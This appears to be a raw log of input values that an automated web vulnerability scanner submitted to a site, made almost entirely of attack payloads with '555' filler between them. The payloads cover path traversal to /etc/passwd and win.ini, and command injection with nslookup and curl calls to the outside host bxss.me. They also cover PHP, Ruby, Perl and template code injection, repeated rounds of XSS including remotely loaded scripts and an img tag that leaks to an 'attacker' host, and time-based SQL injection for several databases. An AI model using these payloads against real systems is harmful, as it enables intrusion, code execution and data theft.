555
555
555
1PGO78AMB0
555
555
555
555
555
555
555
555
555
)
555
redirtest.acx
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
Array
555
555
555
Array
555
555
'"()
../../../../../../../../../../../../../../etc/passwd
555'&&sleep(27*1000)*wvzggm&&'
../../../../../../../../../../../../../../windows/win.ini
555
555"&&sleep(27*1000)*mbhtgv&&"
file:///etc/passwd
555'||sleep(27*1000)*mhfott||'
555
555"||sleep(27*1000)*ynousi||"
../555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
${9999750+10000333}
555
12345'"\'\");|]* { < >?''💡
555
Array
555
555
555
555
555
/../../../../../../../../../../windows/system32/BITSADMIN.exe
555
555
555
555
555
555
555
555
555
555
555
555
555
echo vetvrq$()\ bxuriy\nz^xyu||a #' &echo vetvrq$()\ bxuriy\nz^xyu||a #|" &echo vetvrq$()\ bxuriy\nz^xyu||a #
"+"A".concat(70-3).concat(22*4).concat(117).concat(67).concat(108).concat(75)+(require"socket" Socket.gethostbyname("hitqv"+"lmdobale4ea15.bxss.me.")[3].to_s)+"
&echo kjqmbe$()\ ietsli\nz^xyu||a #' &echo kjqmbe$()\ ietsli\nz^xyu||a #|" &echo kjqmbe$()\ ietsli\nz^xyu||a #
555
'+'A'.concat(70-3).concat(22*4).concat(106).concat(78).concat(117).concat(88)+(require'socket' Socket.gethostbyname('hitvc'+'rrbsazthfafea.bxss.me.')[3].to_s)+'
555&echo raoipc$()\ kfvzty\nz^xyu||a #' &echo raoipc$()\ kfvzty\nz^xyu||a #|" &echo raoipc$()\ kfvzty\nz^xyu||a #
555
'A'.concat(70-3).concat(22*4).concat(113).concat(90).concat(114).concat(73)+(require'socket' Socket.gethostbyname('hitzl'+'fsbkxozpac553.bxss.me.')[3].to_s)
|echo rjvjoq$()\ sjqikf\nz^xyu||a #' |echo rjvjoq$()\ sjqikf\nz^xyu||a #|" |echo rjvjoq$()\ sjqikf\nz^xyu||a #
555
555|echo ewvigq$()\ izrhgk\nz^xyu||a #' |echo ewvigq$()\ izrhgk\nz^xyu||a #|" |echo ewvigq$()\ izrhgk\nz^xyu||a #
555
expr 9000319395 - 910123
555
(nslookup -q=cname hiteqwwcguzgo1dcbf.bxss.me||curl hiteqwwcguzgo1dcbf.bxss.me))
555
$(nslookup -q=cname hitpdfesxbvbb2f088.bxss.me||curl hitpdfesxbvbb2f088.bxss.me)
555
&nslookup -q=cname hitrvbgjatfvbdbbd9.bxss.me&'\"`0&nslookup -q=cname hitrvbgjatfvbdbbd9.bxss.me&`'
555
555
&(nslookup -q=cname hitbxcepqfpat572a6.bxss.me||curl hitbxcepqfpat572a6.bxss.me)&'\"`0&(nslookup -q=cname hitbxcepqfpat572a6.bxss.me||curl hitbxcepqfpat572a6.bxss.me)&`'
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
|(nslookup -q=cname hitboneffmdimd0594.bxss.me||curl hitboneffmdimd0594.bxss.me)
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
`(nslookup -q=cname hitammmxfanlvfa245.bxss.me||curl hitammmxfanlvfa245.bxss.me)`
/etc/shells
;(nslookup -q=cname hitlnrpmdgrcua963a.bxss.me||curl hitlnrpmdgrcua963a.bxss.me)|(nslookup -q=cname hitlnrpmdgrcua963a.bxss.me||curl hitlnrpmdgrcua963a.bxss.me)&(nslookup -q=cname hitlnrpmdgrcua963a.bxss.me||curl hitlnrpmdgrcua963a.bxss.me)
../../../../../../../../../../../../../../etc/shells
|(nslookup${IFS}-q${IFS}cname${IFS}hitiymiresayva38ae.bxss.me||curl${IFS}hitiymiresayva38ae.bxss.me)
c:/windows/win.ini
&(nslookup${IFS}-q${IFS}cname${IFS}hitygzxbbgqkdf50e1.bxss.me||curl${IFS}hitygzxbbgqkdf50e1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitygzxbbgqkdf50e1.bxss.me||curl${IFS}hitygzxbbgqkdf50e1.bxss.me)&`'
bxss.me
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
555
555
555
555
555
555
view.php
555
view.php
555
view.php/.
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
bxss.me/t/xss.html?%00
555
555
http://bxss.me/t/rfi.php?%00
555
bxss.me/t/rfi.php?%00
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitje'.'gswplupl56f24.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(84).chr(112).chr(73).'
555
555
555
".gethostbyname(lc("hitzf"."hpdpzlvf19ece.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(69).chr(114).chr(67)."
555
555
gethostbyname(lc('hitbd'.'rdwlbyugf15ea.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(85).chr(98).chr(68)
555
555
'"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
<!--
555
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
555
${@print(md5(31337))}\
<?php print(md5(31337));?>
'{${print(md5(31337))}}'
'.print(md5(31337)).'
555
555
print(md5(31337));//
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
response.write(9377740*9713542)
555
'+response.write(9377740*9713542)+'
"+response.write(9377740*9713542)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >pFO0(9986)</ScRiPt>
'"()&%<zzz><ScRiPt >pFO0(9757)</ScRiPt>
5559732545
555
bfg3900＜s1﹥s2ʺs3ʹhjl3900
bfgx1534??z1??z2a?bcxhjl1534
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
555
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt >pFO0(9228)</ScRiPt>
555<WEZUF7>KPXEC[!+!]</WEZUF7>
555<script>pFO0(9837)</script>
555
555<script>pFO0(9982)</script>9982
555<ScR<ScRiPt>IpT>pFO0(9090)</sCr<ScRiPt>IpT>
555<ScRiPt >pFO0(9358)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9186></ScRiPt>
555< ScRiPt >pFO0(9318)</ScRiPt>
555<svg ? onload=pFO0(9045);>
555<isindex type=image src=1 onerror=pFO0(9024)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9430'>
555<body onload=pFO0(9758)>
555<img src=//xss.bxss.me/t/dot.gif onload=pFO0(9006)>
555<img src=xyz OnErRor=pFO0(9240)>
555<img/src=">" onerror=alert(9781)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%70%46%4F%30%289304%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\pFO0(9650)\u003C/sCripT\u003E
555
555<ScRiPt>pFO0(9854)</sCripT>
?<img zzz onmouseover=pFO0(98661) //?>
555<input autofocus onfocus=pFO0(9426)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
555
555}body{zzz:Expre/**/SSion(pFO0(9882))}
555s1H5H <ScRiPt >pFO0(9201)</ScRiPt>
555<WQI94A>Y9FWP[!+!]</WQI94A>
555<ifRAme sRc=9476.com></IfRamE>
555<aKxbl1R x=9368>
555
555<img sRc='http://attacker-9063/log.php?
555<a84xf9P<
555
555
555
555'"()&%<zzz><ScRiPt >oPdX(9184)</ScRiPt>
555
555
'"()&%<zzz><ScRiPt >oPdX(9213)</ScRiPt>
555
5559136545
555
bfg2319＜s1﹥s2ʺs3ʹhjl2319
555
bfgx1486??z1??z2a?bcxhjl1486
555
555
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
555
dfb[[${98991*97996}]]xca
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >oPdX(9742)</ScRiPt>
555
555<WRD3CU>LCUZP[!+!]</WRD3CU>
555
555
555
555
555<script>oPdX(9969)</script>
555
555
555
555
555
555<script>oPdX(9598)</script>9598
555
555<ScR<ScRiPt>IpT>oPdX(9640)</sCr<ScRiPt>IpT>
555
555<ScRiPt >oPdX(9822)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9492></ScRiPt>
555
555< ScRiPt >oPdX(9760)</ScRiPt>
555
555
555<svg ? onload=oPdX(9714);>
555
555<isindex type=image src=1 onerror=oPdX(9642)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9508'>
555
555
555<body onload=oPdX(9389)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=oPdX(9349)>
555
555<img src=xyz OnErRor=oPdX(9654)>
555
555<img/src=">" onerror=alert(9535)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%6F%50%64%58%289703%29%3C%2F%73%43%72%69%70%54%3E
555
555\u003CScRiPt\oPdX(9364)\u003C/sCripT\u003E
555
555<ScRiPt>oPdX(9561)</sCripT>
555
?<img zzz onmouseover=oPdX(92501) //?>
555
555
555<input autofocus onfocus=oPdX(9070)>
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555
555}body{zzz:Expre/**/SSion(oPdX(9693))}
555
55552I96 <ScRiPt >oPdX(9797)</ScRiPt>
555
555<WXPJL3>MUS0A[!+!]</WXPJL3>
555<ifRAme sRc=9683.com></IfRamE>
555<aLadSuS x=9891>
555
555<img sRc='http://attacker-9192/log.php?
555<ad8WfRF<
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555oagMiaP7
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or '67vD7GYM'='
-1" OR 5*5=25 or "CqCXiahR"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1)); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555j25Lg5OH'; waitfor delay '0:0:15' --
555bRYbEmvU'); waitfor delay '0:0:15' --
555AjjUU8xO')); waitfor delay '0:0:15' --
555-1 OR 612=(SELECT 612 FROM PG_SLEEP(15))--
555-1) OR 357=(SELECT 357 FROM PG_SLEEP(15))--
555-1)) OR 757=(SELECT 757 FROM PG_SLEEP(15))--
555QVqtjV09' OR 211=(SELECT 211 FROM PG_SLEEP(15))--
555vRxyL75L') OR 537=(SELECT 537 FROM PG_SLEEP(15))--
555wEd6zWL9')) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
555
555'"
555????%2527%2522\'\"
@@VDkIK
(select 198766*667891)
(select 198766*667891 from DUAL)
555
555
555
555'"()&%<zzz><ScRiPt >wYwW(9570)</ScRiPt>
555
'"()&%<zzz><ScRiPt >wYwW(9931)</ScRiPt>
555
5559108374
555
bfg9068＜s1﹥s2ʺs3ʹhjl9068
555
bfgx1864??z1??z2a?bcxhjl1864
555
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
dfb[[${98991*97996}]]xca
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >wYwW(9588)</ScRiPt>
555
555<WTETVD>QG8HU[!+!]</WTETVD>
555
555<script>wYwW(9788)</script>
555
555<script>wYwW(9405)</script>9405
555
555<ScR<ScRiPt>IpT>wYwW(9197)</sCr<ScRiPt>IpT>
555<ScRiPt >wYwW(9782)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9556></ScRiPt>
555
555
555< ScRiPt >wYwW(9014)</ScRiPt>
555<svg ? onload=wYwW(9040);>
555
555<isindex type=image src=1 onerror=wYwW(9254)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9344'>
555<body onload=wYwW(9553)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=wYwW(9701)>
555
555<img src=xyz OnErRor=wYwW(9252)>
555
555<img/src=">" onerror=alert(9818)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%77%59%77%57%289080%29%3C%2F%73%43%72%69%70%54%3E
555
555\u003CScRiPt\wYwW(9163)\u003C/sCripT\u003E
555
555<ScRiPt>wYwW(9865)</sCripT>
555
?<img zzz onmouseover=wYwW(99641) //?>
555<input autofocus onfocus=wYwW(9831)>
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555
555}body{zzz:Expre/**/SSion(wYwW(9318))}
555
555RjMPf <ScRiPt >wYwW(9600)</ScRiPt>
555
555<WT232P>0YFI1[!+!]</WT232P>
555<ifRAme sRc=9038.com></IfRamE>
555
555<aBcgr4R x=9180>
555
555<img sRc='http://attacker-9284/log.php?
555
555<amW7bVF<
555
555
555
555